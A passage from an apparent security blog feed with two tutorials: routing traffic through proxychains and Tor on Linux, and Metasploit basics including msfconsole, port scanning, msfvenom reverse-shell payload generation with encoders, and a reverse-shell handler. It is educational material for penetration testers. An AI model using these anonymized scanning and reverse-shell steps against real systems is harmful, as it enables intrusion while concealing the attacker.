]]></content:encoded></item><item><title><![CDATA[Anonymize traffic with Proxychains and Tor on Linux]]></title><description><![CDATA[Whether you want to protect your privacy, run a security test or want to hack the NSA. You want to stay anonymous. This is can be done using a variety of tools like VPNs, proxies and Tor. One of the simplest ways is to use proxychains in conjunction ...]]></description><link>https://colej.net/anonymize-traffic-with-proxychains-and-tor-on-linux</link><guid isPermaLink="true">https://colej.net/anonymize-traffic-with-proxychains-and-tor-on-linux</guid><category><![CDATA[privacy]]></category><category><![CDATA[proxy]]></category><category><![CDATA[anonymity]]></category><category><![CDATA[tor]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Tue, 14 Jun 2022 14:22:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/fPxOowbR6ls/upload/v1655216520412/bH2H19g6F.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Whether you want to protect your privacy, run a security test or want to hack the NSA. You want to stay anonymous. This is can be done using a variety of tools like VPNs, proxies and Tor. One of the simplest ways is to use proxychains in conjunction with Tor. It is a simple, secure and free way of staying anonymous. The below guide is for Linux.</p>
<h2 id="heading-what-are-proxychains">What are Proxychains?</h2>
<p>Proxychains is a program that redirects our network traffic through multiple servers throughout the world to hide our real IP address. Proxychains link together multiple of these servers together.</p>
<h2 id="heading-what-is-tor">What is Tor</h2>
<p>Tor is an open-source software used for online privacy and anonymity. It's designed to relay your traffic through multiple relay stations with encryption to hide your true IP address and request. It is not fast and does block some plugins but it is a safe way to browse the web. </p>
<h2 id="heading-setting-it-all-up">Setting it all up</h2>
<h3 id="heading-installing-tor-and-proxychains">Installing Tor and Proxychains</h3>
<p>First up, we need to actually install proxychains and tor with the apt command. It varies on different Linux distributions.</p>
<pre><code>$ sudo apt install tor proxychains4
</code></pre><p>We now need to start up the tor service.</p>
<pre><code>$ sudo systemctl <span class="hljs-keyword">start</span> tor
</code></pre><p>If you want to enable it on boot use:</p>
<pre><code>$ sudo systemctl <span class="hljs-keyword">enable</span> tor
</code></pre><p>You can check if tor is running successfully by:</p>
<pre><code>$ systemctl status tor          

● tor.service <span class="hljs-operator">-</span> Anonymizing overlay network <span class="hljs-keyword">for</span> TCP (multi<span class="hljs-operator">-</span>instance<span class="hljs-operator">-</span>master)
     Loaded: loaded (<span class="hljs-operator">/</span>lib<span class="hljs-operator">/</span>systemd<span class="hljs-operator">/</span>system<span class="hljs-operator">/</span>tor.service; disabled; vendor preset: disabled)
     Active: active (exited) since Tue <span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-number">-14</span> <span class="hljs-number">20</span>:<span class="hljs-number">45</span>:<span class="hljs-number">12</span> AWST; 33min ago
    Process: <span class="hljs-number">3584</span> ExecStart<span class="hljs-operator">=</span><span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span><span class="hljs-literal">true</span> (code<span class="hljs-operator">=</span>exited, status<span class="hljs-operator">=</span><span class="hljs-number">0</span><span class="hljs-operator">/</span>SUCCESS)
   Main PID: <span class="hljs-number">3584</span> (code<span class="hljs-operator">=</span>exited, status<span class="hljs-operator">=</span><span class="hljs-number">0</span><span class="hljs-operator">/</span>SUCCESS)
        CPU: 1ms
</code></pre><h3 id="heading-configuring-proxychains">Configuring proxychains:</h3>
<p>On most systems, the proxychains configuration file will be located in <code>/etc/proxychains.conf</code>. Sometimes the <code>proxychains.conf</code>will be called <code>proxychains4.conf</code>. If you can still not find the file, use the command <code>locate proxychains</code>.</p>
<p>Now, open up the <code>proxchains.conf</code> in your desired text editor. Firstly, you want to uncomment <code>dynamic_chain</code> and make sure to comment out <code>strict_chain, round_robin_chain, random_chain</code>. This is to balance anonymity with usability. </p>
<pre><code><span class="hljs-comment"># proxychains.conf  VER 4.x</span>
<span class="hljs-comment">#</span>
<span class="hljs-comment">#        HTTP, SOCKS4a, SOCKS5 tunneling proxifier with DNS.</span>


<span class="hljs-comment"># The option below identifies how the ProxyList is treated.</span>
<span class="hljs-comment"># only one option should be uncommented at time,</span>
<span class="hljs-comment"># otherwise the last appearing option will be accepted</span>
<span class="hljs-comment">#</span>
dynamic_chain &lt;--- Uncomment this
<span class="hljs-comment">#</span>
<span class="hljs-comment"># Dynamic - Each connection will be done via chained proxies</span>
<span class="hljs-comment"># all proxies chained in the order as they appear in the list</span>
<span class="hljs-comment"># at least one proxy must be online to play in chain</span>
<span class="hljs-comment"># (dead proxies are skipped)</span>
<span class="hljs-comment"># otherwise EINTR is returned to the app</span>
<span class="hljs-comment">#</span>
<span class="hljs-comment">#strict_chain &lt;--- Comment out this</span>
<span class="hljs-comment">#</span>
<span class="hljs-comment"># Strict - Each connection will be done via chained proxies</span>
<span class="hljs-comment"># all proxies chained in the order as they appear in the list</span>
<span class="hljs-comment"># all proxies must be online to play in chain</span>
<span class="hljs-comment"># otherwise EINTR is returned to the app</span>
<span class="hljs-comment">#</span>
<span class="hljs-comment">#round_robin_chain &lt;--- Comment out this</span>
<span class="hljs-comment">#</span>
<span class="hljs-comment"># Round Robin - Each connection will be done via chained proxies</span>
<span class="hljs-comment"># of chain_len length</span>
<span class="hljs-comment"># all proxies chained in the order as they appear in the list</span>
<span class="hljs-comment"># at least one proxy must be online to play in chain</span>
<span class="hljs-comment"># (dead proxies are skipped).</span>
<span class="hljs-comment"># the start of the current proxy chain is the proxy after the last</span>
<span class="hljs-comment"># proxy in the previously invoked proxy chain.</span>
<span class="hljs-comment"># if the end of the proxy chain is reached while looking for proxies</span>
<span class="hljs-comment"># start at the beginning again.</span>
<span class="hljs-comment"># otherwise EINTR is returned to the app</span>
<span class="hljs-comment"># These semantics are not guaranteed in a multithreaded environment.</span>
<span class="hljs-comment">#</span>
<span class="hljs-comment">#random_chain &lt;--- Comment out this</span>
</code></pre><p>Secondly, uncomment <code>proxy_dns</code>. This is to prevent IP leaks from DNS.</p>
<pre><code><span class="hljs-comment">## Proxy DNS requests - no leak for DNS data</span>
<span class="hljs-comment"># (disable all of the 3 items below to not proxy your DNS requests)</span>

<span class="hljs-comment"># method 1. this uses the proxychains4 style method to do remote dns:</span>
<span class="hljs-comment"># a thread is spawned that serves DNS requests and hands down an ip</span>
<span class="hljs-comment"># assigned from an internal list (via remote_dns_subnet).</span>
<span class="hljs-comment"># this is the easiest (setup-wise) and fastest method, however on</span>
<span class="hljs-comment"># systems with buggy libcs and very complex software like webbrowsers</span>
<span class="hljs-comment"># this might not work and/or cause crashes.</span>
proxy_dns &lt;--- Uncomment <span class="hljs-built_in">this</span>
</code></pre><p>Finally, add socks5 tor proxy under [ProxyList] like bellow. You can add other proxies for added protection. But remember not all proxies are safe and the more proxies you add, the slower it is going to be. You can find some proxies <a target="_blank" href="https://udger.com/resources/ip-list/web_proxy">here</a>.</p>
<pre><code>[<span class="hljs-string">ProxyList</span>]
<span class="hljs-comment"># add proxy here ...</span>
<span class="hljs-comment"># meanwile</span>
<span class="hljs-comment"># defaults set to "tor"</span>
<span class="hljs-string">socks4</span>  <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span> <span class="hljs-number">9050</span>
<span class="hljs-string">socks5</span>  <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span> <span class="hljs-number">9050</span> <span class="hljs-string">&lt;---</span> <span class="hljs-string">add</span> <span class="hljs-string">this</span>
                       <span class="hljs-string">&lt;---</span> <span class="hljs-string">you</span> <span class="hljs-string">can</span> <span class="hljs-string">add</span> <span class="hljs-string">other</span> <span class="hljs-string">proxies</span> <span class="hljs-string">here</span>
</code></pre><h3 id="heading-running-proxy-chains">Running Proxy Chains</h3>
<p>To run firefox through Tor and Proxychains in a firefox private window use this:</p>
<pre><code>proxychains firefox <span class="hljs-operator">-</span><span class="hljs-keyword">private</span> https:<span class="hljs-comment">//www.dnsleaktest.com/</span>
</code></pre><p>Note:
You can run most TCP software through proxychains like nmap, Metasploit, gobuster, etc. All you have to replace is the <code>firefox -private https://www.dnsleaktest.com/</code> part of the code.</p>
<h2 id="heading-conclusions">Conclusions</h2>
<p>Proxychains and Tor are invaluable resources to know about it. The best part is, it's free! The above configuration balances usability and privacy. Set it up to your own specifications to your desired needs.  Some other way to upgrade the security is by making sure you are using HTTPS and TLS. If you want even more protection against snooping eyes, you can use a VPN as well. To do this, use a virtual machine with Proxychains &amp; Tor inside it. You can then route all the traffic going out of the virtual machine with a VPN. </p>
<p>If you want to look at some more resources to learn more:</p>
<p>How TOR Works- Computerphile: https://www.youtube.com/watch?v=QRYzre4bf7I</p>
<p>https://www.linuxfordevices.com/tutorials/linux/proxychains-and-tor</p>
<p>https://hackersonlineclub.com/combination-of-vpn-tor-and-proxychain-for-more-anonymity/</p>
]]></content:encoded></item><item><title><![CDATA[The basics of Metasploit]]></title><description><![CDATA[What is Metasploit
Metasploit is a powerful exploitation framework full of premade exploits and payloads. It is a powerful tool that can support you at every step of the penetration testing engagement. 
Metasploit has two main versions:

Metasploit P...]]></description><link>https://colej.net/the-basics-of-metasploit</link><guid isPermaLink="true">https://colej.net/the-basics-of-metasploit</guid><category><![CDATA[networking]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Tutorial]]></category><category><![CDATA[metasploit]]></category><category><![CDATA[howto]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Mon, 13 Jun 2022 14:25:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1655129733316/DIgCpSzf-.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-what-is-metasploit">What is Metasploit</h2>
<p>Metasploit is a powerful exploitation framework full of premade exploits and payloads. It is a powerful tool that can support you at every step of the penetration testing engagement. </p>
<p>Metasploit has two main versions:</p>
<ul>
<li>Metasploit Pro: Made for the automation and management of tasks with a GUI</li>
<li>Metasploit Framework: Open-source command line version.</li>
</ul>
<p>The Main components of Metasploit are:</p>
<ul>
<li>msfconsole: the command-line interface</li>
<li>Modules: Supported extra bits of software like exploits, scanners and payloads.</li>
<li>Tools: Stand-alone tools.</li>
</ul>
<h2 id="heading-main-components-of-metasploit">Main components of Metasploit</h2>
<p>Before we can dive into Metasploit we need to first understand what its components of it are.</p>
<ul>
<li>Exploits: A piece of code that uses a vulnerability to maliciously attack a system.</li>
<li>Vulnerability: A design, coding, or logic flaw affecting the target system. This is what an exploit would use to maliciously attack a system</li>
<li>Payload: An exploit will take advantage of a vulnerability. However, if we want to gain access to a system and actually do stuff we need to use a payload. This would be a reverse shell.</li>
</ul>
<p>There are different modules for different types of things you want to do on a system:</p>
<h3 id="heading-auxiliary">Auxiliary</h3>
<p>Any supporting modules, such as crawlers, scanners and fuzzers, are found here.</p>
<h3 id="heading-encoders">Encoders</h3>
<p>Encoders will allow you to encode the exploit and payloads. Although encoding does help evade signature-based antivirus, its primary purpose is to get rid of bad characters. It will increase the size of the exploit.</p>
<h3 id="heading-evasion">Evasion</h3>
<p>Evasion modules will try to evade antivirus software. </p>
<h3 id="heading-exploits">Exploits</h3>
<p>Exploits are neatly organised by the target systems.</p>
<h3 id="heading-nops">NOPs</h3>
<p>NOPs (No OPeration) literally do nothing. They are sometimes used for buffers to achieve consistent payload sizes. </p>
<h3 id="heading-payloads">Payloads</h3>
<p>Payloads are bits of code designed to take advantage of an exploit. </p>
<ul>
<li>Singles: Self-contained payloads (run programs, add users, etc). These do not need to download an additional component to run.</li>
<li>Stagers: Sometimes you a file size restrictions. This is when stagers come in handy. Stagers are responsible for setting up a connection channel between Metasploit and the target system. Staged payloads will first upload a "stager" to the system to download the rest of the payload.</li>
<li>Stages: Downloaded by the stager.</li>
</ul>
<p>Metasploit has a special way of telling you whether your payload is a staged or stageless payload.   </p>
<p>Stageless payloads are denoted with a (_), eg.</p>
<pre><code>generic<span class="hljs-operator">/</span>shell_reverse_tcp
linux<span class="hljs-operator">/</span>shell_bind_tcp
</code></pre><p>Staged has a "/" instead of a "_".</p>
<pre><code>generic<span class="hljs-operator">/</span>shell<span class="hljs-operator">/</span>reverse_tcp
linux<span class="hljs-operator">/</span>shell<span class="hljs-operator">/</span>bind_tcp
</code></pre><h3 id="heading-note">Note</h3>
<p>You can view all these modules/payloads under <code>/usr/share/metasploit-framework/modules</code> if you are running on the default version of Kali Linux.</p>
<h3 id="heading-post">Post</h3>
<p>Post modules are used for post-exploitation. This would be a <code>hashdump</code> command.</p>
<h2 id="heading-msfconsole">msfconsole</h2>
<p>This is the default exploit maker. You can run by using <code>msfconsole</code>.</p>
<h3 id="heading-useful-commands">Useful commands:</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Tag</td><td>Function</td></tr>
</thead>
<tbody>
<tr>
<td>ls</td><td>Lists the contents of the current directory you are in</td></tr>
<tr>
<td>ping</td><td>Pings things</td></tr>
<tr>
<td>help set</td><td>Help menu for specific module</td></tr>
<tr>
<td>history</td><td>Figure it own einstein</td></tr>
<tr>
<td>search PARAM</td><td>Conducts searches using CVE numbers, exploit names or target</td></tr>
<tr>
<td>background</td><td>Use this command to set the session prompt to the background or press ctrl+z</td></tr>
<tr>
<td>sessions</td><td>Lists the sessions. Want to interact with their use "-i". eg.</td></tr>
<tr>
<td>sessions  -i 1</td><td>Goes to a specific session</td></tr>
</tbody>
</table>
</div><h4 id="heading-useful-commands-for-setting-up-explotation">Useful commands for setting up explotation</h4>
<div class="hn-table">
<table>
<thead>
<tr>
<td>use PATH/TO/Exploit</td><td>Uses the exploit</td></tr>
</thead>
<tbody>
<tr>
<td>show options</td><td>Shows the options</td></tr>
<tr>
<td>show payloads</td><td>Shows the payloads</td></tr>
<tr>
<td>set</td><td>Sets options, use info to see if required.</td></tr>
<tr>
<td>setg</td><td>Sets options universally across scripts</td></tr>
<tr>
<td>unset</td><td>Unsets variable</td></tr>
<tr>
<td>unsetg</td><td>Unsets variable universally</td></tr>
<tr>
<td>exploit</td><td>It launches the command. If you add "-z" it will run in the background</td></tr>
<tr>
<td>check</td><td>Some modules support check option that will check if system is vulnerable.</td></tr>
<tr>
<td>back</td><td>Goes back</td></tr>
<tr>
<td>show options</td><td>Shows info about optionbs</td></tr>
<tr>
<td>info</td><td>Info about the payload</td></tr>
</tbody>
</table>
</div><h2 id="heading-examples">Examples</h2>
<h3 id="heading-port-scanning">Port scanning</h3>
<ol>
<li>search for portscan module</li>
<li>select it</li>
<li>show the options</li>
<li>Set the params</li>
<li>run it</li>
</ol>
<pre><code><span class="hljs-string">msf6</span> <span class="hljs-string">&gt;</span> <span class="hljs-string">search</span> <span class="hljs-string">portscan</span>

<span class="hljs-string">Matching</span> <span class="hljs-string">Modules</span>
<span class="hljs-string">================</span>

   <span class="hljs-comment">#  Name                                              Disclosure Date  Rank    Check  Description</span>
   <span class="hljs-bullet">-</span>  <span class="hljs-string">----</span>                                              <span class="hljs-string">---------------</span>  <span class="hljs-string">----</span>    <span class="hljs-string">-----</span>  <span class="hljs-string">-----------</span>
   <span class="hljs-number">0</span>  <span class="hljs-string">auxiliary/scanner/portscan/ftpbounce</span>                               <span class="hljs-string">normal</span>  <span class="hljs-literal">No</span>     <span class="hljs-string">FTP</span> <span class="hljs-string">Bounce</span> <span class="hljs-string">Port</span> <span class="hljs-string">Scanner</span>
   <span class="hljs-number">1</span>  <span class="hljs-string">auxiliary/scanner/natpmp/natpmp_portscan</span>                           <span class="hljs-string">normal</span>  <span class="hljs-literal">No</span>     <span class="hljs-string">NAT-PMP</span> <span class="hljs-string">External</span> <span class="hljs-string">Port</span> <span class="hljs-string">Scanner</span>
   <span class="hljs-number">2</span>  <span class="hljs-string">auxiliary/scanner/sap/sap_router_portscanner</span>                       <span class="hljs-string">normal</span>  <span class="hljs-literal">No</span>     <span class="hljs-string">SAPRouter</span> <span class="hljs-string">Port</span> <span class="hljs-string">Scanner</span>
   <span class="hljs-number">3</span>  <span class="hljs-string">auxiliary/scanner/portscan/xmas</span>                                    <span class="hljs-string">normal</span>  <span class="hljs-literal">No</span>     <span class="hljs-string">TCP</span> <span class="hljs-string">"XMas"</span> <span class="hljs-string">Port</span> <span class="hljs-string">Scanner</span>
   <span class="hljs-number">4</span>  <span class="hljs-string">auxiliary/scanner/portscan/ack</span>                                     <span class="hljs-string">normal</span>  <span class="hljs-literal">No</span>     <span class="hljs-string">TCP</span> <span class="hljs-string">ACK</span> <span class="hljs-string">Firewall</span> <span class="hljs-string">Scanner</span>
   <span class="hljs-number">5</span>  <span class="hljs-string">auxiliary/scanner/portscan/tcp</span>                                     <span class="hljs-string">normal</span>  <span class="hljs-literal">No</span>     <span class="hljs-string">TCP</span> <span class="hljs-string">Port</span> <span class="hljs-string">Scanner</span>
   <span class="hljs-number">6</span>  <span class="hljs-string">auxiliary/scanner/portscan/syn</span>                                     <span class="hljs-string">normal</span>  <span class="hljs-literal">No</span>     <span class="hljs-string">TCP</span> <span class="hljs-string">SYN</span> <span class="hljs-string">Port</span> <span class="hljs-string">Scanner</span>
   <span class="hljs-number">7</span>  <span class="hljs-string">auxiliary/scanner/http/wordpress_pingback_access</span>                   <span class="hljs-string">normal</span>  <span class="hljs-literal">No</span>     <span class="hljs-string">Wordpress</span> <span class="hljs-string">Pingback</span> <span class="hljs-string">Locator</span>


<span class="hljs-string">Interact</span> <span class="hljs-string">with</span> <span class="hljs-string">a</span> <span class="hljs-string">module</span> <span class="hljs-string">by</span> <span class="hljs-string">name</span> <span class="hljs-string">or</span> <span class="hljs-string">index.</span> <span class="hljs-string">For</span> <span class="hljs-string">example</span> <span class="hljs-string">info</span> <span class="hljs-number">7</span><span class="hljs-string">,</span> <span class="hljs-string">use</span> <span class="hljs-number">7</span> <span class="hljs-string">or</span> <span class="hljs-string">use</span> <span class="hljs-string">auxiliary/scanner/http/wordpress_pingback_access</span>
</code></pre><pre><code>msf6 <span class="hljs-operator">&gt;</span> use scanner<span class="hljs-operator">/</span>portscan<span class="hljs-operator">/</span>tcp
msf6 auxiliary(scanner<span class="hljs-operator">/</span>portscan<span class="hljs-operator">/</span>tcp) <span class="hljs-operator">&gt;</span>
</code></pre><pre><code>msf6 auxiliary(scanner<span class="hljs-operator">/</span>portscan<span class="hljs-operator">/</span>tcp) <span class="hljs-operator">&gt;</span> show options

Module options (auxiliary<span class="hljs-operator">/</span>scanner<span class="hljs-operator">/</span>portscan<span class="hljs-operator">/</span>tcp):

   Name         Current Setting  Required  Description
   <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>         <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>  <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>  <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>
   CONCURRENCY  <span class="hljs-number">10</span>               yes       The number of concurrent ports to check per host
   DELAY        <span class="hljs-number">0</span>                yes       The delay between connections, per thread, in milliseconds
   JITTER       <span class="hljs-number">0</span>                yes       The delay jitter factor (maximum value by which to <span class="hljs-operator">+</span><span class="hljs-operator">/</span><span class="hljs-operator">-</span> DELAY) in milliseconds.
   PORTS        <span class="hljs-number">1</span><span class="hljs-number">-10000</span>          yes       Ports to scan (e.g. <span class="hljs-number">22</span><span class="hljs-number">-25</span>,<span class="hljs-number">80</span>,<span class="hljs-number">110</span><span class="hljs-number">-900</span>)
   RHOSTS                        yes       The target host(s), see https:<span class="hljs-comment">//github.com/rapid7/metasploit-framework/wiki/Using-Metasploit</span>
   THREADS      <span class="hljs-number">1</span>                yes       The number of concurrent threads (max one per host)
   TIMEOUT      <span class="hljs-number">1000</span>             yes       The socket connect timeout in milliseconds
</code></pre><pre><code><span class="hljs-string">msf6</span> <span class="hljs-string">auxiliary(scanner/portscan/tcp)</span> <span class="hljs-string">&gt;</span> <span class="hljs-string">set</span> <span class="hljs-string">RHOSTS</span> <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>
<span class="hljs-string">RHOSTS</span> <span class="hljs-string">=&gt;</span> <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>
</code></pre><pre><code>msf6 auxiliary(scanner<span class="hljs-operator">/</span>portscan<span class="hljs-operator">/</span>tcp) <span class="hljs-operator">&gt;</span> exploit

[<span class="hljs-operator">*</span>] <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>:            <span class="hljs-operator">-</span> Scanned <span class="hljs-number">1</span> of <span class="hljs-number">1</span> hosts (<span class="hljs-number">100</span><span class="hljs-operator">%</span> complete)
[<span class="hljs-operator">*</span>] Auxiliary module execution completed
msf6 auxiliary(scanner<span class="hljs-operator">/</span>portscan<span class="hljs-operator">/</span>tcp) <span class="hljs-operator">&gt;</span>
</code></pre><h2 id="heading-the-metasploit-database">The Metasploit Database</h2>
<p>When you are hacking at multiple IP/targets it can be confusing. This is when the Metasploit database comes in handy. It writes all the scans/info to a SQL database.</p>
<h3 id="heading-using">Using</h3>
<p>You need to first start the database and initialize it.</p>
<pre><code>systemctl <span class="hljs-keyword">start</span> postgresql
msfdb init
</code></pre><h3 id="heading-database-commands">Database Commands</h3>
<p>These are the commands for the database. Make sure you are in msfconsole.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Command</td><td>Description</td></tr>
</thead>
<tbody>
<tr>
<td>analyze</td><td>Analyze database information about a specific address or address range</td></tr>
<tr>
<td>db_connect</td><td>Connect to an existing data service</td></tr>
<tr>
<td>db_disconnect</td><td>Disconnect from the current data service</td></tr>
<tr>
<td>db_export</td><td>Export a file containing the contents of the database</td></tr>
<tr>
<td>db_import</td><td>Import a scan result file (filetype will be auto-detected)</td></tr>
<tr>
<td>db_nmap</td><td>Executes nmap and records the output automatically</td></tr>
<tr>
<td>db_rebuild_cache</td><td>Rebuilds the database-stored module cache (deprecated)</td></tr>
<tr>
<td>db_remove</td><td>Remove the saved data service entry</td></tr>
<tr>
<td>db_save</td><td>Save the current data service connection as the default to reconnect on startup</td></tr>
<tr>
<td>db_status</td><td>Show the current data service status</td></tr>
<tr>
<td>hosts</td><td>List all hosts in the database</td></tr>
<tr>
<td>loot</td><td>List all loot in the database</td></tr>
<tr>
<td>notes</td><td>List all notes in the database</td></tr>
<tr>
<td>services</td><td>List all services in the database</td></tr>
<tr>
<td>vulns</td><td>List all vulnerabilities in the database</td></tr>
<tr>
<td>workspace</td><td>Switch between database workspace</td></tr>
</tbody>
</table>
</div><h3 id="heading-miscellaneous">Miscellaneous</h3>
<p>These are just a few useful miscellaneous commands.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Command</td><td>Description</td></tr>
</thead>
<tbody>
<tr>
<td>hosts</td><td>Get info about hosts</td></tr>
<tr>
<td>services</td><td>Get info about services</td></tr>
<tr>
<td>services -S</td><td>Allows you to search for specific things.</td></tr>
<tr>
<td>hosts -R</td><td>saves IP to RHOST Globally</td></tr>
</tbody>
</table>
</div><h2 id="heading-msfvenom">Msfvenom</h2>
<p>Msfvenom is a command-line, in cmd or bash, utility that allows you to access all the payloads and create them into packages for specific systems in specific formats.
To see all the formats use:</p>
<pre><code><span class="hljs-attribute">msfvenom</span> -l formats
</code></pre><p>The same goes for payloads:</p>
<pre><code>root@<span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span> msfvenom <span class="hljs-operator">-</span>l payloads

Framework Payloads (<span class="hljs-number">861</span> total) [<span class="hljs-operator">-</span><span class="hljs-operator">-</span>payload <span class="hljs-operator">&lt;</span>value<span class="hljs-operator">&gt;</span>]
<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span>

    Name                                                               Description
    <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>                                                               <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>
    aix<span class="hljs-operator">/</span>ppc<span class="hljs-operator">/</span>shell_bind_tcp                                             Listen <span class="hljs-keyword">for</span> a connection and spawn a command shell
    aix<span class="hljs-operator">/</span>ppc<span class="hljs-operator">/</span>shell_find_port                                            Spawn a shell on an established connection
    aix<span class="hljs-operator">/</span>ppc<span class="hljs-operator">/</span>shell_interact                                             Simply execve <span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>sh (<span class="hljs-keyword">for</span> inetd programs)
    aix<span class="hljs-operator">/</span>ppc<span class="hljs-operator">/</span>shell_reverse_tcp                                          Connect back to attacker and spawn a command shell
    android<span class="hljs-operator">/</span>meterpreter<span class="hljs-operator">/</span>reverse_http                                   Run a meterpreter server in Android. Tunnel communication over HTTP
    android<span class="hljs-operator">/</span>meterpreter<span class="hljs-operator">/</span>reverse_https                                  Run a meterpreter server in Android. Tunnel communication over HTTPS
    android<span class="hljs-operator">/</span>meterpreter<span class="hljs-operator">/</span>reverse_tcp                                    Run a meterpreter server in Android. Connect back stager
    android<span class="hljs-operator">/</span>meterpreter_reverse_http                                   Connect back to attacker and spawn a Meterpreter shell
...
</code></pre><p>Note: When generating payloads with the output being PHP, sometimes you need to add in <code>&lt;?php</code> at the start and a <code>?&gt;</code> the end.</p>
<h3 id="heading-encoders">Encoders</h3>
<p>You can use encoders to get rid of bad characters on payloads. </p>
<pre><code>msfvenom <span class="hljs-operator">-</span>p linux<span class="hljs-operator">/</span>x86<span class="hljs-operator">/</span>shell<span class="hljs-operator">/</span>reverse_tcp  <span class="hljs-operator">-</span>e x86<span class="hljs-operator">/</span>shikata_ga_nai <span class="hljs-operator">-</span>f hex

msfvenom <span class="hljs-operator">-</span>p linux<span class="hljs-operator">/</span>x86<span class="hljs-operator">/</span>shell<span class="hljs-operator">/</span>reverse_tcp <span class="hljs-operator">-</span>e x86<span class="hljs-operator">/</span>countdown <span class="hljs-operator">-</span>f hex
</code></pre><h3 id="heading-handlers">Handlers</h3>
<p>Similar to reverse shells, you need to accept incoming connections by the MSFvenom payload. Metasploit has its own meterpreter shell for post-exploitation. This is called a handler. You need to:</p>
<ol>
<li>use the multi handler</li>
<li>set the params and payload</li>
<li>run</li>
</ol>
<pre><code><span class="hljs-string">msf6</span> <span class="hljs-string">&gt;</span> <span class="hljs-string">use</span> <span class="hljs-string">exploit/multi/handler</span> 
[<span class="hljs-string">*</span>] <span class="hljs-string">Using</span> <span class="hljs-string">configured</span> <span class="hljs-string">payload</span> <span class="hljs-string">generic/shell_reverse_tcp</span>
<span class="hljs-string">msf6</span> <span class="hljs-string">exploit(multi/handler)</span> <span class="hljs-string">&gt;</span> <span class="hljs-string">set</span> <span class="hljs-string">payload</span> <span class="hljs-string">php/reverse_php</span>
<span class="hljs-string">payload</span> <span class="hljs-string">=&gt;</span> <span class="hljs-string">php/reverse_php</span>
<span class="hljs-string">msf6</span> <span class="hljs-string">exploit(multi/handler)</span> <span class="hljs-string">&gt;</span> <span class="hljs-string">set</span> <span class="hljs-string">lhost</span> <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>
<span class="hljs-string">lhost</span> <span class="hljs-string">=&gt;</span> <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>
<span class="hljs-string">msf6</span> <span class="hljs-string">exploit(multi/handler)</span> <span class="hljs-string">&gt;</span> <span class="hljs-string">set</span> <span class="hljs-string">lport</span> <span class="hljs-number">7777</span>
<span class="hljs-string">lport</span> <span class="hljs-string">=&gt;</span> <span class="hljs-number">7777</span>
